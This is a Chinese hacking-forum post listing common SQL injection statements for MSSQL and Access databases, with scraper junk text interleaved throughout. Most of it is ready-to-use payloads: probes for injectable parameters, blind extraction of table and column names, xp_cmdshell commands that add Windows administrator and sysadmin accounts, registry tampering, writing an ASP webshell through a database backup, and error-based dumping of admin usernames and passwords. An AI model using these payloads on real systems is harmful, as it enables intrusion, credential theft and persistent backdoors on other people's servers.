找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2186|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入
+ J9 I: n# e$ h* K, a5 I3 ];and 1=1 $ L$ ^' L% {5 w  k- b. \
;and 1=2
" V  \6 D6 r% k. y; K% R' o" g' J. w, ]1 [' H% s6 v1 P# h2 y. h3 K
2.初步判断是否是mssql   w, x9 z0 H+ g# [1 d3 S
;and user>0
8 `) d! H0 M0 Z0 S4 z0 a
  y" k) [: Q6 U6 P9 b8 U3.判断数据库系统
: g3 u5 K& S  b* Z" A# N, E) G, n;and (select count(*) from sysobjects)>0 mssql ' e/ h5 h7 W/ t0 p. i2 g
;and (select count(*) from msysobjects)>0 access
/ W: T, L+ {& T" n+ s( ^+ \0 x6 G; y4 u% H) }3 V( Y( _1 v; I
4.注入参数是字符 , q1 P/ F+ D. n+ T: R! C
'and [查询条件] and ''='   t/ k; H0 l' w& z( {7 x

( ^. H+ ?3 O% ~$ R* {5.搜索时没过滤参数的
% h; U# g7 d3 q2 e, w9 V2 T'and [查询条件] and '%25'='
% R, T% F5 ~4 d  h' Q
. M+ M! m" _# A$ ^" d5 S5 w6.猜数表名 $ S, H$ O" c: X: `3 X2 J1 P0 s, M, I
;and (select Count(*) from [表名])>0
: w1 W& _$ K: t4 Q0 b5 W3 O
! p" C: z$ v" A: C* T4 H7.猜字段
4 h+ b: }, `8 u2 H. J;and (select Count(字段名) from 表名)>0
+ }( C9 h/ n7 L; b+ v9 x/ l0 A2 V4 h6 m1 }: S
8.猜字段中记录长度
8 {1 N$ Z$ J: ~# };and (select top 1 len(字段名) from 表名)>0 0 P9 ?% z" Z$ n9 @

8 P) P& D7 F+ c" B/ Z. ]9.(1)猜字段的ascii值(access)
; I, }  @% z8 s, q;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0   L/ }5 a5 M7 W9 T) G
" j8 C" M5 `" S( X' v
(2)猜字段的ascii值(mssql)
2 {( H5 i: B: ?4 |;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 6 o: u% G/ t3 [' t0 }

0 G- K$ j5 ?4 e" j  n) I8 I1 Z) j10.测试权限结构(mssql) 6 |+ ?% [' s- p, w2 u
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- + \$ a- k9 q) C+ \) t
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
6 D( d$ x8 Z( z) T;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 0 e$ O% d$ t  F0 k  V# z
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
# ^6 f+ J/ O. `  e+ {;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
4 l! o& X0 S8 _8 m6 {# J;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
( R" w0 ~5 H) X9 Y;and 1=(select IS_MEMBER('db_owner'));-- + T, m+ x$ q7 h  ~; j' a& j
2 H7 d* g3 w- u
11.添加mssql和系统的帐户 # l5 H. `3 b" ^; G9 ?
;exec master.dbo.sp_addlogin username;-- 9 `: d* U4 d8 J7 P" a6 O! l
;exec master.dbo.sp_password null,username,password;-- * B$ u1 g! y. h
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- % m8 S# z, F1 t& e9 n) n' V- U) `( Q
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- ! j- s& h5 _" m1 w# z
;exec master.dbo.xp_cmdshell 'net user username password /add';-- : c) j+ m% x* c1 R0 S( I
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ; L* l+ o5 F' M6 t
- n( I% y8 ?. ^
12.(1)遍历目录 , Q+ j9 T! `6 I* `6 q1 q
;create table dirs(paths varchar(100), id int) $ ~7 E0 ~( a9 t5 I2 L# v
;insert dirs exec master.dbo.xp_dirtree 'c:\' , N) w, K- m8 o8 n: Q" g" A
;and (select top 1 paths from dirs)>0
9 u) P: ^' N" o0 B3 _! t0 g;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 8 ?( [2 u" s$ q6 M& S4 h: w4 R

7 Q3 |- c% l% F) g5 O) D(2)遍历目录
: ~0 [7 l0 R6 ^4 Z: L! p;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- % K6 e  R( L/ v$ F: [) ]" L
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 $ h7 u, j7 o* g) x* c* o
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
5 L" S: K2 }8 c1 O  M;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 ( E4 v, I% ?- h4 R$ N6 \4 P
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 5 o* J9 ?, ~0 p

, w5 L0 ]2 X. }/ C1 l5 y13.mssql中的存储过程
4 O! Y" ^& h* X" Dxp_regenumvalues 注册表根键, 子键
: _  w" \. P3 s4 j/ }) Z;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 . ~0 h; E3 H; F( W) j) K! N, Z* P
xp_regread 根键,子键,键值名
( f& K1 `# x7 y;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
" j, p2 ^. |! vxp_regwrite 根键,子键, 值名, 值类型, 值
& ~& o  `1 T+ b6 k7 U值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
6 x1 P4 _( g6 n& @1 y  v" N' t7 Z;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 6 ]( z5 u, [0 Q* Z
xp_regdeletevalue 根键,子键,值名
$ B: Y3 l. v' z( z  a* Z# u/ [7 Zexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
. m3 o6 t* c/ W7 o% x. w5 a5 zxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
7 f9 j' A4 d0 X' F) l; i! q  {6 j% v# E2 D/ F8 ~; O
14.mssql的backup创建webshell
9 C3 P2 R, y8 A- i. j/ _7 f/ {use model
& a8 Y' Q: o, n2 V+ z( I% i4 Gcreate table cmd(str image); 6 D% o) T5 c$ k3 m+ Q3 q
insert into cmd(str) values ('<% Dim oScript %>'); 9 n6 G- Z5 Z: k  I1 J: }( E
backup database model to disk='c:\l.asp'; * ~( T' r( ?1 F
+ c+ k  L5 f# o1 A% N" O" }
15.mssql内置函数 " A+ d. `, r; u  }: |7 W' |
;and (select @@version)>0 获得Windows的版本号 . U( [! s8 B3 C1 M
;and user_name()='dbo' 判断当前系统的连接用户是不是sa ( \- {6 Q9 @; c! B# M2 h  c8 a
;and (select user_name())>0 爆当前系统的连接用户
$ j' {' f, u7 r5 |6 a;and (select db_name())>0 得到当前连接的数据库 5 v, r' L3 K0 [2 k; A. u$ f
. u9 ?0 ]/ w) u1 G
" m3 T3 g; }5 `9 n- ~; L

& V% [, ?- v4 P1 s; {  m/ KMSSQL手注暴库
) w6 j) ?$ U2 C+ g2 h
/ J9 @+ p0 R0 N+ e1.暴出当前表名和列名
2 X, U4 A0 ?, Z  k4 X' D在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。- U7 X1 V# L# K' r
% z- o3 I0 T; q
第一.爆出所有数据库名* n' x. r9 |1 C( g
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。2 T7 p" c% }* V% l' \# [6 b
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
! T* \+ ]! q( w( k6 C+ F7 U+ R) x+ ]
% y$ r' ^# U( Y8 b7 rand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名
+ T0 k! X' X! q3 I1 \6 Q
/ I, ]  ~5 i/ s3 Q0 k' {
. [3 U$ g8 p3 u第二.爆出指定库中的所有表名
, U0 }0 G2 A- [( s$ }  D得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。6 N' t% }: |5 p" I
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
6 Z/ c5 i6 e. z
& @! N$ D8 ?2 I: j6 o5 J4 \and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--: i1 s! {. D. z, U0 `
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--- N: c) G  G$ d% {. L1 s
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--. }1 x- B' W# h. |

) p1 ^' W  o! p8 v5 O; ?- N; @4.爆出指定表中的所有列名
, M$ `9 S7 |# i/ {* oand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) / o6 O4 z0 B) I+ X9 }9 \! o
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'
6 D0 E" @$ P7 s, T2 _; }
/ v: `* x! M# ~3 @and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名% |6 A6 |  r- R1 x2 u+ C4 \

" A; y! ?* u0 l/ \! U0 a" H0 V再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- ; }- R1 _3 i9 p5 l
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
3 f' Z6 W; j+ b+ V5 K( }5 T" e4 F9 S# U( \

$ L4 [& O3 K. v. d# I0 [and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
1 Q( ]6 g1 k( ~8 M. Y5 ?, I: B$ ^0 x, v2 i
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
4 ]/ S, k: ^; ?4 |* `' e( A; @: x* E6 S0 X# R5 Y  O# p
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
: A8 ^* ^4 w4 |2 Q. M# ]
# O  z% ~4 w$ x3 \8 X* V2 Z& [) a' r3 P7 R5 O0 L$ Q/ V; X
( ]4 W. q' z) W7 F
5.读取指定表中的数据
9 T  n+ u0 S6 d/ `+ m* C1 N+ p- N" `( g$ _5 w4 U$ n& z. O1 m% D5 T
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 & b8 Z$ q" l$ Z3 R' m) q8 L0 L

: S9 i( I5 ^3 C2 o5 Zand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
9 k$ k7 T  T+ o8 J& n
( S9 S. r/ _2 @. Dand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
) H& q) v6 Z. t* J% g& v( |( N' e
9 E. j) t% ~6 v2 {$ n7 \
9 w5 N4 Y( a" r- X# k# Gand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)
7 y6 R8 e( i* _5 t9 N, C" n+ t# P9 N( d$ k$ F$ V
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)9 l5 `2 {3 l; A/ w. J* s' X

- f; ~  _* j0 O6 s4 H6 k, Rand 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
7 S& S" D- J- @
2 i/ w# b9 H, ?知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。9 B+ W2 }+ }  M- T
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表